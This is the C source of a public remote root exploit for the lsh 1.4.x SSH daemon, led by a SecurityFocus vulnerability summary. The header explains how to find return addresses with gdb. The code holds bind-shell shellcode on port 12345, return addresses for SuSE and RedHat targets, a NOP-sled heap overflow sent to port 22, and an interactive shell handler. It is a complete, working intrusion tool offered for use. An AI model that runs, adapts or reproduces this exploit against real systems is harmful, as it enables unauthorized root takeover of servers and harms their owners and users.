// source: https://www.securityfocus.com/bid/8655/info lsh has been reported prone to a remote buffer overflow vulnerability. The condition is reported to present itself in fairly restrictive circumstances, and has been reported to be exploitable pre-authentication. Successful exploitation could result in the execution of arbitrary attacker supplied instructions in the context of the affected daemon. /* -------------------------------------- Remote r00t exploit for lsh 1.4.x by Haggis aka Carl Livitt - carl.learningshophull@co@uk 19/09/2003 Latest version should always be available from http://doris.scriptkiddie.net ------------------------------------ Spawns bindshell on port 12345 of remote host. Handily, it also bypasses non-exec stack protection as the shellcode is on the heap. NOTE: This exploit _only_ works if it's the first thing to connect to the lshd daemon after it has been started. Any other time, it is just a DoS. Run it a few times against a host running lshd to see what I mean. -------------------------------------------- Determining RET address for a new platform: ------------------------------------------ Start up 'lshd --daemonic', attach gdb to it and 'c'ontinue: sol:~ # rm /var/run/lshd.pid ; lshd --daemonic ; gdb -q lshd `pgrep lshd` Attaching to program: /usr/local/sbin/lshd, process 7140 Reading symbols from /lib/libpam.so.0...done. Loaded symbols for /lib/libpam.so.0 Reading symbols from /lib/libutil.so.1...done. Loaded symbols for /lib/libutil.so.1 Reading symbols from /lib/libnsl.so.1...done. Loaded symbols for /lib/libnsl.so.1 Reading symbols from /lib/libcrypt.so.1...done. Loaded symbols for /lib/libcrypt.so.1 Reading symbols from /lib/libz.so.1...done. Loaded symbols for /lib/libz.so.1 Reading symbols from /usr/local/lib/liboop.so.4...done. Loaded symbols for /usr/local/lib/liboop.so.4 Reading symbols from /usr/lib/libgmp.so.3...done. Loaded symbols for /usr/lib/libgmp.so.3 Reading symbols from /lib/libc.so.6...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/libdl.so.2...done. Loaded symbols for /lib/libdl.so.2 Reading symbols from /lib/ld-linux.so.2...done. Loaded symbols for /lib/ld-linux.so.2 Reading symbols from /lib/libnss_files.so.2...done. Loaded symbols for /lib/libnss_files.so.2 0x40157d37 in fork () from /lib/libc.so.6 (gdb) c Continuing. Switch to another terminal, and run the exploit against the lsh server, specifying target number 3 (Test): haggis@sol:~/exploits/research/lsh> ./lsh_exploit -t localhost -T 3 LSH 1.4.x (others?) exploit by Haggis (haggis@haggis.kicks-ass.net) [-] Building exploit buffer... [-] Sending exploit string... [-] Sleeping... [-] Connecting to bindshell... [*] Could not connect to localhost - the exploit failed Switch back to your other terminal. You will see: Program received signal SIGSEGV, Segmentation fault. 0x41424344 in ?? () Type 'x/1000x $eax': (gdb) x/1000x $eax And wait until you find lines similar to these: 0x809fa68: 0x90909090 0x90909090 0x90909090 0x90909090 0x809fa78: 0x90909090 0x90909090 0x90909090 0x90909090 0x809faa8: 0x90909090 0x90909090 0x90909090 0x90909090 0x809fa9c: 0x90909090 0x90909090 0x90909090 0x90909090 ^^^^^^^^^ Any of the addresses that contains a NOP (0x90) can be used as your RET address. Create a new target in the source-code and Bob's-yer-uncle! */ #include <sys/types.h> #include <sys/stat.h> #include <sys/socket.h> #include <net/if.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <arpa/inet.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <signal.h> #include <netdb.h> #include <time.h> #include <stdarg.h> #define SSH_PORT 22 #define BINDSHELL_PORT 12345 #define SIZ 8092 #define EXPLOIT_BUF_SIZE 4000 // just approximate - works well enough #define NOPS_LEN 1024 /* * Linux shellcode - binds /bin/sh to a port * * Claes M. Nyberg 20020620 * * <cmn@darklab.org>, <md0claes@mdstud.chalmers.se> */ char shellcode[]= "\x83\xec\x10\x89\xe7\x31\xc0\x50\x50\x50\x66\x68\x30\x39\xb0\x02\x66\x50" "\x89\xe6\x6a\x06\x6a\x01\x6a\x02\x89\xe1\x31\xdb\x43\x30\xe4\xb0\x66\xcd" "\x80\x89\xc5\x6a\x10\x56\x55\x89\xe1\x43\x31\xc0\xb0\x66\xcd\x80\x50\x55" "\x89\xe1\xb3\x04\xb0\x66\xcd\x80\xb0\x10\x50\x54\x57\x55\x89\xe1\xb3\x05" "\xb0\x66\xcd\x80\x89\xc3\x31\xc9\x31\xc0\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd" "\x80\x41\xb0\x3f\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69" "\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"; struct { char *platform; unsigned long retAddr; } targets[]= { { "SuSE 8.1 - LSH v1.4.x (default)", 0x0809fb20}, { "RedHat 7.3 - LSH v1.4.x", 0x0809de90}, { "RedHat 8.0 - LSH v1.4.x", 0x0809a9d8}, { "Test. RET address = 0x41424344", 0x41424344}, NULL }; void my_send(int, char *, ...); void my_recv(int); int connect_to_host(int); void my_sleep(int n); int do_bind_shell(); struct hostent *hostStruct; char buf[SIZ], host[SIZ]="\0"; int useTarget=0; char usage[]= "Usage: ./lsh_exploit -t host_name [-T platform_type]\n"; main(int argc, char **argv) { int ch, i, targetSock; unsigned long *retPtr; char *charRetPtr; printf("LSH 1.4.x (others?) exploit by Haggis (haggis@haggis.kicks-ass.net)\n\n"); while((ch=getopt(argc, argv, "t:T:h"))!=-1) { switch(ch) { case 't': strncpy(host, optarg, SIZ-1); break; case 'T': useTarget=atoi(optarg); break; case 'h': default: printf("%s\n",usage); printf("Available platforms:\n"); for(i=0;targets[i].platform;i++) printf(" %2d. %s\n", i, targets[i].platform); printf("\n"); exit(0); break; } } if(host[0]=='\0') { printf("[*] You must specify a host! Use -h for help\n"); exit(1); } if((hostStruct=gethostbyname(host))==NULL) { printf("[*] Couldn't resolve host %s\nUse '%s -h' for help\n", host,argv[0]); exit(1); } if((targetSock=connect_to_host(SSH_PORT))==-1) { printf("[*] Coulnd't connect to host %s\n", host); exit(1); } my_recv(targetSock); printf("[-] Building exploit buffer...\n"); retPtr=(unsigned long *)buf; for(i=0;i<EXPLOIT_BUF_SIZE/4;i++) *(retPtr++)=targets[useTarget].retAddr; charRetPtr=(unsigned char *)retPtr; for(i=0;i<NOPS_LEN-strlen(shellcode);i++) *(charRetPtr++)=(unsigned long)0x90; memcpy(charRetPtr, shellcode, strlen(shellcode)); *(charRetPtr+strlen(shellcode))='\n'; *(charRetPtr+strlen(shellcode)+1)='\0'; printf("[-] Sending exploit string...\n"); my_send(targetSock, buf); close(targetSock); printf("[-] Sleeping...\n"); my_sleep(100000); printf("[-] Connecting to bindshell...\n"); if(do_bind_shell()==-1) printf("[*] Could not connect to %s - the exploit failed\n", host); exit(0); } int do_bind_shell() { fd_set rfds; int sock,retVal,r; if((sock=connect_to_host(BINDSHELL_PORT))==-1) return -1; printf("[-] Success!!! You should now be r00t on %s\n", host); do { FD_ZERO(&rfds); FD_SET(0, &rfds); FD_SET(sock, &rfds); retVal=select(sock+1, &rfds, NULL, NULL, NULL); if(retVal) { if(FD_ISSET(sock, &rfds)) { buf[(r=recv(sock, buf, SIZ-1,0))]='\0'; // bad! printf("%s", buf); } if(FD_ISSET(0, &rfds)) { buf[(r=read(0, buf, SIZ-1))]='\0'; // bad! send(sock, buf, strlen(buf), 0); } } } while(retVal && r); // loop until connection terminates close(sock); return 1; } // Given a port number, connects to an already resolved hostname... // connects a TCP stream and returns a socket number (or returns error) int connect_to_host(int p) { int sock; struct sockaddr_in saddr; if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1) return -1; memset((void *)&saddr, 0, sizeof(struct sockaddr_in)); saddr.sin_family=AF_INET; saddr.sin_addr.s_addr=*((unsigned long *)hostStruct->h_addr_list[0]); saddr.sin_port=htons(p); if(connect(sock, (struct sockaddr *)&saddr, sizeof(saddr))<0) { close(sock); return -1; } else return sock; } // Handy little function to send formattable data down a socket. void my_send(int s, char *b, ...) { va_list ap; char *buf; va_start(ap,b); vasprintf(&buf,b,ap); send(s,buf,strlen(buf),0); va_end(ap); free(buf); } // Another handy function to read data from a socket. void my_recv(int s) { int len; char buf[SIZ]; len=recv(s, buf, SIZ-1, 0); buf[len]=0; } // Wrapper for nanosleep()... just pass 'n' nanoseconds to it. void my_sleep(int n) { struct timespec t; t.tv_sec=0; t.tv_nsec=n; nanosleep(&t,&t); }